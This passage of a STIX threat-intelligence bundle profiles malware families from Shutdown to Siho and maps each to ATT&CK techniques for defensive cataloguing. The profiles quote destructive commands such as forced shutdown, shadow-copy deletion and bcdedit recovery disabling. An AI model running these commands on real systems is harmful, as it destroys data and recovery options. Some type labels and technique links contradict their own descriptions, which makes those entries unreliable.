Analysis:</strong> Review the Windows System Event Logs (specifically Event ID 1074, which records the reason and initiating process for a system shutdown) to determine what triggered the reboot.</li>\n<li><strong>Malware Sweep:</strong> If the shutdown was unauthorized, run a comprehensive anti-malware scan to ensure the script was not a final stage of a larger malware installation that required a reboot to establish persistence (e.g., a rootkit).</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Riskware.Shutdown",
        "Joke.Shutdown",
        "Tool.Reboot",
        "Trojan.Shutdown"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Shutdown",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/shutdown"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0655089c-1cb1-5782-9673-b67c08b254cf",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--11a3ed79-9253-5912-b0ca-e78c2c0587a0",
      "target_ref": "attack-pattern--190f9572-8900-5a4d-ae1a-2f85e523f660",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Shutdown exhibits technique T1529 (System Shutdown/Reboot (Forcing a restart to trigger the unbootable state))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--73cb01d8-e195-5a78-8f02-8bf292ef01f0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--11a3ed79-9253-5912-b0ca-e78c2c0587a0",
      "target_ref": "attack-pattern--3e454648-d3ff-52aa-9384-1ac06a79ec48",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Shutdown exhibits technique T1489 (Service Stop (Forcefully stopping AV services))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--309d7a77-ea55-5005-b2e7-fd4b382bdde2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--11a3ed79-9253-5912-b0ca-e78c2c0587a0",
      "target_ref": "attack-pattern--8d654e3a-ab3a-5a68-a2dd-c7e622d3b49f",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Shutdown exhibits technique T1059.003 (Command and Scripting Interpreter: Windows Command Shell)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--c7fd44f9-f685-5658-b15a-b47e96c484bf",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Shutdowner",
      "description": "<h3>Executive Summary</h3>\nShutdowner refers to a class of malicious scripts, utilities, or \"HackTools\" explicitly designed to force a computer to shut down, restart, or log off the current user aggressively. While system administrators utilize legitimate shutdown commands, threat actors weaponize these tools to induce immediate denial of service (DoS), disrupt business operations, or as a crude anti-forensic measure to halt security monitoring tools from analyzing a concurrent attack.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nShutdowner tools are not self-propagating viruses. They are tactical utilities deployed *after* an attacker has gained a foothold, typically used as a disruptive payload or executed via remote access tools (RATs) or web shells.\n\nIts execution is straightforward but highly disruptive:\n<ul>\n<li><strong>Forced System State Change:</strong> The script (often a simple batch file invoking `shutdown.exe -s -f -t 0` or a small compiled executable calling the `ExitWindowsEx` API) forces the operating system to immediately power down or reboot.</li>\n<li><strong>Bypassing User Prompts:</strong> The \"-f\" flag (force) is almost universally used, meaning any unsaved work in open applications is instantly destroyed without prompting the user to save.</li>\n<li><strong>Anti-Forensic Utility:</strong> Attackers sometimes deploy a Shutdowner script immediately after executing a primary payload (like dropping a backdoor). The forced reboot clears volatile memory (RAM), destroying potential forensic evidence of the initial infection vector before incident responders can capture it.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nThe execution of a \"Shutdowner\" script is a significant security incident resulting in immediate loss of availability and potential data loss for the user. More importantly, it strongly indicates an active, hands-on-keyboard adversary is present in the environment and may be attempting to cover their tracks or disrupt incident response efforts.\n\n<h3>Incident Response and Remediation</h3>\n<ul>\n<li><strong>Investigate the Source (Critical):</strong> The primary focus must be determining *how* the script was executed. Check Windows Event Logs (specifically Security logs for logon events and System logs for scheduled tasks or service creations) to identify the attacker's entry point.</li>\n<li><strong>Disable Scheduled Tasks/Run Keys:</strong> Check if the Shutdowner has established persistence (e.g., executing on every boot to create a permanent denial of service loop). Remove any associated registry keys or scheduled tasks.</li>\n<li><strong>Assume Broader Compromise:</strong> Do not treat the shutdown as an isolated prank. Assume the attacker deployed other, stealthier malware before initiating the shutdown. A thorough forensic sweep of the endpoint is required.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "backdoor"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "HackTool.Shutdowner",
        "Riskware.Shutdown",
        "Win32/DoS.Shutdown"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Shutdowner",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/shutdowner"
        }
      ],
      "labels": [
        "backdoor",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--21c91442-0392-5a98-9de9-bf002421f820",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c7fd44f9-f685-5658-b15a-b47e96c484bf",
      "target_ref": "attack-pattern--190f9572-8900-5a4d-ae1a-2f85e523f660",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Shutdowner exhibits technique T1529 (System Shutdown/Reboot (Forcing a restart to trigger the unbootable state))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a9e39311-0ad1-5aca-9db0-c5993dd5df7e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c7fd44f9-f685-5658-b15a-b47e96c484bf",
      "target_ref": "attack-pattern--9561e493-14f3-5fcb-a83c-f95649da6548",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Shutdowner exhibits technique T1071.001 (Application Layer Protocol: Web Protocols (C2 Communication))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b119e2e6-c6a4-5851-ae8e-f83f098b3327",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c7fd44f9-f685-5658-b15a-b47e96c484bf",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Shutdowner exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6ab29f5a-9fed-5324-b186-ad25ffa47b5e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c7fd44f9-f685-5658-b15a-b47e96c484bf",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Shutdowner exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e4e4e946-f38b-5624-a42d-c418cefe6579",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c7fd44f9-f685-5658-b15a-b47e96c484bf",
      "target_ref": "attack-pattern--5f54d0f8-5d15-5341-b1b0-5a7cbe6761ce",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Shutdowner exhibits technique T1056.001 (Keylogging)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--a177723c-353f-55b2-ae16-f5ef26a166a7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Shyape",
      "description": "Shyape (cataloged across security vendors and threat intelligence databases under signatures including Adware:Win32/Shyape, Trojan.scar/shyape, and PUA:Win32/Shyape) is an invasive adware and potentially unwanted program (PUA) family active since 2016. Infiltrating endpoints through deceptive freeware installers, pirated media players, and infected removable USB drives, Shyape hooks local browser processes and helper objects to inject persistent advertisements and affiliate redirects into victim web sessions. Furthermore, advanced variants feature code injection capabilities that inject threads into legitimate Windows browser processes to evade local antimalware detection and ensure unhindered telemetry collection. (Observed samples in benchmark: 50)",
      "is_family": true,
      "malware_types": [
        "adware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Adware:Win32/Shyape",
        "Trojan.scar/shyape",
        "PUA:Win32/Shyape",
        "Adware.Win32.Shyape",
        "Win32/Shyape"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Shyape",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/shyape"
        }
      ],
      "labels": [
        "adware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--7d9b8a7e-ba10-5918-89be-d72f66132efe",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Shylock",
      "description": "Shylock (also cataloged across international law enforcement and intelligence communities as Capito) is a sophisticated financial malware family and banking trojan first observed in 2011. The malware derives its moniker from its code, which contains numerous verbatim quotes and excerpts from William Shakespeare's play *The Merchant of Venice*. Shylock was designed for high-value financial theft, targeting business and consumer online banking accounts across the United Kingdom, the United States, and Europe.\n\nShylock utilized advanced browser man-in-the-browser (MitB) injection techniques, local proxy redirection, and digital certificate manipulation to hijack authenticated banking sessions and execute fraudulent wire transfers. In July 2014, an elite international law enforcement coalition led by the UK National Crime Agency (NCA), Europol's European Cybercrime Centre (EC3), the FBI, Dutch Police, and CERT-EU executed 'Operation Capito'. The operation seized control of Shylock's central command servers and disrupted dozens of its domain generation algorithm (DGA) domains across .cc, .su, and .me registries, neutralizing the botnet's infrastructure. (Observed samples in benchmark: 21)",
      "is_family": true,
      "malware_types": [
        "trojan",
        "banking-trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Shylock",
        "Capito",
        "Trojan.Shylock",
        "Win32/Shylock",
        "Banking.Shylock"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Shylock",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/shylock"
        }
      ],
      "labels": [
        "banking_trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f865dfa5-9fb4-5a5c-a81c-e9d5cf506cc9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7d9b8a7e-ba10-5918-89be-d72f66132efe",
      "target_ref": "attack-pattern--6fa87c46-0565-5b5a-889d-44254001e763",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Shylock exhibits technique T1185 (Man-in-the-Browser)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--85998b66-6ab1-5800-8c5f-56e6276dcf5d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7d9b8a7e-ba10-5918-89be-d72f66132efe",
      "target_ref": "attack-pattern--510c8478-024c-53be-b9d9-53f9b7c3bc2c",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Shylock exhibits technique T1111 (Two-Factor Authentication Interception)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a8fde0f7-cb11-5eb6-8584-657871063107",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7d9b8a7e-ba10-5918-89be-d72f66132efe",
      "target_ref": "attack-pattern--257d9e52-8dd5-53ad-99f1-1a8b77822be3",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Shylock exhibits technique T1568.002 (Dynamic Resolution: Domain Generation Algorithms)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--bc5f50c9-51f0-5bec-8059-311565d9be4d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7d9b8a7e-ba10-5918-89be-d72f66132efe",
      "target_ref": "attack-pattern--0a1fb694-bbfe-5e7d-89e1-1f78720af865",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Shylock exhibits technique T1055.001 (Process Injection: Dynamic-link Library Injection)."
    },
    {
      "type": "attack-pattern",
      "spec_version": "2.1",
      "id": "attack-pattern--e0eaac09-ba79-5de1-b6b1-9d13d5951835",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "T1564.004: Hide Artifacts: NTFS File Attributes",
      "description": "MITRE ATT&CK Technique T1564.004 (Hide Artifacts: NTFS File Attributes) under tactic Defense Evasion.",
      "external_references": [
        {
          "source_name": "mitre-attack",
          "external_id": "T1564.004",
          "url": "https://attack.mitre.org/techniques/T1564/004/"
        }
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a81e5c04-56b9-5a53-8fd6-3cabe61f5f4d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7d9b8a7e-ba10-5918-89be-d72f66132efe",
      "target_ref": "attack-pattern--e0eaac09-ba79-5de1-b6b1-9d13d5951835",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Shylock exhibits technique T1564.004 (Hide Artifacts: NTFS File Attributes)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--327fc68f-a7a2-53be-b527-5aa8cf16c5b7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Sigma",
      "description": "Ransom:Win32/Sigma is a severe threat classified as Ransomware. It is designed to extort victims by strongly encrypting critical personal or corporate data, appending a specific extension (often `.sigma` or similar variations) to the files, and demanding payment in cryptocurrency for the decryption key.<br><br><b>Understanding Sigma</b><br>To an end-user, a Sigma infection represents an immediate crisis: documents and databases are suddenly inaccessible, and a ransom note (often a `.txt` or `.hta` file) is presented on the desktop. For an enterprise, it triggers a 'Code Red' incident response, requiring immediate network isolation to prevent lateral movement and the encryption of enterprise file shares and backups.<br><br><b>Execution and Extortion Mechanics</b><br>Sigma is frequently distributed via targeted phishing (`T1566.001`), exploit kits, or dropped by other initial access malware. Upon execution, it achieves persistence (`T1547.001`) and actively attempts to impair endpoint defenses (`T1562.001`). Crucially, before encryption begins, it executes commands like `vssadmin.exe delete shadows /all /quiet` to destroy Windows Volume Shadow Copies, preventing easy system restoration (`T1490`). It then rapidly iterates through the filesystem and mapped network drives, encrypting files matching high-value extensions (e.g., `.docx`, `.sql`, `.pdf`) using robust encryption algorithms (`T1486`).<br><br><b>Indicators of Compromise & Impact</b><br>The impact is catastrophic data loss. Host-based IoCs include massive spikes in disk I/O and CPU usage during the encryption phase, the sudden appearance of ransom note files in every directory, and EDR alerts for `vssadmin.exe` or `wmic.exe` attempting to delete shadow copies. Network IoCs may include anomalous outbound traffic if the ransomware incorporates a data exfiltration module. (Observed samples in benchmark: 4)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Sigma",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/sigma"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--fb0bfcf1-a4aa-53f0-84d8-9e244a74dacd",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--327fc68f-a7a2-53be-b527-5aa8cf16c5b7",
      "target_ref": "attack-pattern--39fc3e3b-4925-51bd-9e25-b333ad9f6a10",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Sigma exhibits technique T1486 (Data Encrypted for Impact)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6a665940-8c9f-5b90-b2dc-f61100a79a5d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--327fc68f-a7a2-53be-b527-5aa8cf16c5b7",
      "target_ref": "attack-pattern--f2075d7b-16c2-58d2-9cc6-630d2c2ccc49",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Sigma exhibits technique T1490 (Inhibit System Recovery (Deleting Shadow Copies))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7489758c-5a00-5ec0-9e9e-520c4092290a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--327fc68f-a7a2-53be-b527-5aa8cf16c5b7",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Sigma exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b9ed90ae-3145-5e6a-82b9-0191ed39e57f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--327fc68f-a7a2-53be-b527-5aa8cf16c5b7",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Sigma exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--f96fc5f9-1000-51cb-ad7d-7e637ff8c189",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Sign0Fmisery",
      "description": "<h3>Executive Summary</h3>\nSign0fmisery is a classification typically assigned to a specific HackTool or highly destructive Trojan framework. It is designed to aggressively disrupt system operations, corrupt data, or facilitate unauthorized remote access for an attacker. The dramatic naming convention often suggests a \"Joke\" program or a rudimentary destructive payload (like a wiper), but in an enterprise context, it must be treated as a severe security incident.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nMalware in this category is frequently distributed via peer-to-peer (P2P) networks, disguised within cracked software installers, or deployed directly by an attacker who has already achieved initial access via brute-force (RDP/SMB) or exploiting a public-facing vulnerability.\n\nUpon execution, Sign0fmisery prioritizes system disruption over stealth:\n<ul>\n<li><strong>Destructive Payload:</strong> Depending on the specific variant, the primary payload may involve mass file deletion, overwriting the Master Boot Record (MBR) to prevent the OS from booting, or forcefully terminating critical Windows services (like the Print Spooler or Windows Defender).</li>\n<li><strong>System Instability:</strong> The malware often induces severe system instability, triggering Blue Screens of Death (BSODs) or freezing the user interface by launching infinite loops or consuming all available CPU and RAM resources.</li>\n<li><strong>Backdoor Functionality:</strong> Some variants classified under this name also open undocumented network ports, establishing a rudimentary backdoor that allows the attacker to execute remote command-line instructions.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Sign0fmisery infection is a high-severity event resulting in immediate denial of service and potential data loss. Even if the payload is poorly written or deemed \"amateur,\" its presence indicates a complete failure of endpoint execution controls and user awareness training.\n\n<h3>Incident Response and Remediation</h3>\n<ul>\n<li><strong>Emergency Network Isolation:</strong> Isolate the machine immediately to prevent the malware from attempting to spread laterally via open network shares or exploiting vulnerabilities on adjacent systems.</li>\n<li><strong>System Triage and Data Recovery:</strong> Because the primary intent is often destructive, attempting to \"clean\" the OS is not recommended. The system should be booted from an offline rescue environment to assess data damage and attempt file recovery before a complete wipe.</li>\n<li><strong>Complete Re-imaging:</strong> The only secure remediation is a bare-metal wipe and re-image from a trusted backup. Thoroughly investigate the initial infection vector to patch the vulnerability or address the social engineering tactic that allowed the execution.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Sign0fmisery",
        "HackTool.Sign0fmisery",
        "Win32/Sign0fmisery"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Sign0Fmisery",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/sign0fmisery"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--217fc091-e659-5910-b729-c4e2e6b6d554",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f96fc5f9-1000-51cb-ad7d-7e637ff8c189",
      "target_ref": "attack-pattern--a1097f7e-2aee-5bd4-ba08-a98048ff4e08",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Sign0Fmisery exhibits technique T1485 (Data Destruction)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4a2a354f-66d4-50cd-b1ba-d40641e30497",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f96fc5f9-1000-51cb-ad7d-7e637ff8c189",
      "target_ref": "attack-pattern--3e454648-d3ff-52aa-9384-1ac06a79ec48",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Sign0Fmisery exhibits technique T1489 (Service Stop (Forcefully stopping AV services))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--81b7a14c-761e-584f-aa79-bfc008927bf2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f96fc5f9-1000-51cb-ad7d-7e637ff8c189",
      "target_ref": "attack-pattern--f2075d7b-16c2-58d2-9cc6-630d2c2ccc49",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Sign0Fmisery exhibits technique T1490 (Inhibit System Recovery (Behaviorally blocking the deletion of backups))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--f78f0b19-607f-5995-a380-533bf9197d3d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Sigrun",
      "description": "Ransom:Win32/Sigrun is a highly destructive Cryptographic Ransomware family designed to extort money from victims by rendering their data inaccessible. Like most modern ransomware, it relies on strong cryptographic algorithms to lock files, demanding payment in cryptocurrency in exchange for the decryption key.<br><br><b>Understanding Sigrun (Ransomware)</b><br>To an end-user, the impact is devastating: critical documents, databases, and media files are encrypted and appended with a specific extension, followed by the display of a ransom note on the desktop. For a security operations center (SOC), a Sigrun infection represents a critical incident requiring immediate containment to prevent the infection from spreading to network shares and crippling organizational infrastructure.<br><br><b>Execution and Encryption Mechanics</b><br>Sigrun is typically delivered via phishing emails containing malicious attachments (`T1566.001`), drive-by downloads, or by exploiting exposed Remote Desktop Protocol (RDP) services (`T1133`). Upon execution (`T1204.002`), it establishes persistence, often via the Registry Run keys or Scheduled Tasks (`T1547.001`). Crucially, before encrypting files, Sigrun executes commands (like `vssadmin.exe delete shadows` or `bcdedit /set {default} recoveryenabled No`) to inhibit system recovery (`T1490`). It then iterates through local drives and accessible network shares, utilizing strong encryption (e.g., AES + RSA) to lock files (`T1486`), leaving behind a ransom note (often a `.txt` or `.hta` file) detailing payment instructions.<br><br><b>Indicators of Compromise & Impact</b><br>The primary impact is severe data loss and business interruption. Host-based IoCs include rapid, massive file modification events detected by EDR, the execution of shadow copy deletion commands, the presence of the dropped ransom note, and modified file extensions. Network IoCs may include beaconing to the attacker's Command and Control (C2) server to register the infection and exchange cryptographic keys. (Observed samples in benchmark: 3)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Sigrun",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/sigrun"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4edb10cc-b914-5623-a3ef-5dbbb63b056d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f78f0b19-607f-5995-a380-533bf9197d3d",
      "target_ref": "attack-pattern--39fc3e3b-4925-51bd-9e25-b333ad9f6a10",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Sigrun exhibits technique T1486 (Data Encrypted for Impact)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--fa7812f8-4414-59d8-87b5-3e26780ef6f8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f78f0b19-607f-5995-a380-533bf9197d3d",
      "target_ref": "attack-pattern--f2075d7b-16c2-58d2-9cc6-630d2c2ccc49",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Sigrun exhibits technique T1490 (Inhibit System Recovery (Deleting volume shadow copies))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9a055989-c9e9-55a8-aa10-cc0644e3937e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f78f0b19-607f-5995-a380-533bf9197d3d",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Sigrun exhibits technique T1547.001 (Boot or Logon Autostart Execution)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9b1b3938-5916-5a38-b702-05a16eeea496",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f78f0b19-607f-5995-a380-533bf9197d3d",
      "target_ref": "attack-pattern--bef94ccf-f6d3-5ee9-8eaa-a8867a38a5a4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Sigrun exhibits technique T1204.002 (User Execution: Malicious File)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--25d54e64-17c9-5a6b-a6dc-c67c4b8d9605",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Siho",
      "description": "<h3>Executive Summary</h3>\nSiho is a malicious Trojan designed to covertly infiltrate Windows systems, establish persistence, and act as a reliable downloader for remote threat actors. It is frequently utilized in the initial stages of a cyberattack to gather system intelligence and facilitate the automated deployment of secondary, highly destructive malware payloads, such as enterprise ransomware or banking trojans.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nSiho is predominantly distributed through socially engineered spam campaigns containing malicious attachments (often weaponized PDFs or Office documents utilizing macro exploits) or via compromised software installers downloaded from untrustworthy web portals.\n\nUpon successful execution, Siho operates with a focus on stealth and payload delivery:\n<ul>\n<li><strong>System Reconnaissance:</strong> The trojan immediately collects detailed system information, including the OS version, installed software, Active Directory domain membership, and active antivirus solutions. This fingerprint is transmitted to a command-and-control (C2) server.</li>\n<li><strong>Persistence:</strong> Siho ensures it survives system reboots by modifying the Windows Registry (e.g., adding entries to the `Run` or `RunOnce` keys) or by creating hidden Scheduled Tasks that execute the malware payload under high privileges.</li>\n<li><strong>Payload Delivery:</strong> Acting as a downloader, Siho receives instructions from the C2 server to silently download and execute secondary malware. This provides the attacker with a flexible platform to escalate the attack based on the value of the compromised host.</li>\n</ul>\n\n<h3>Threat 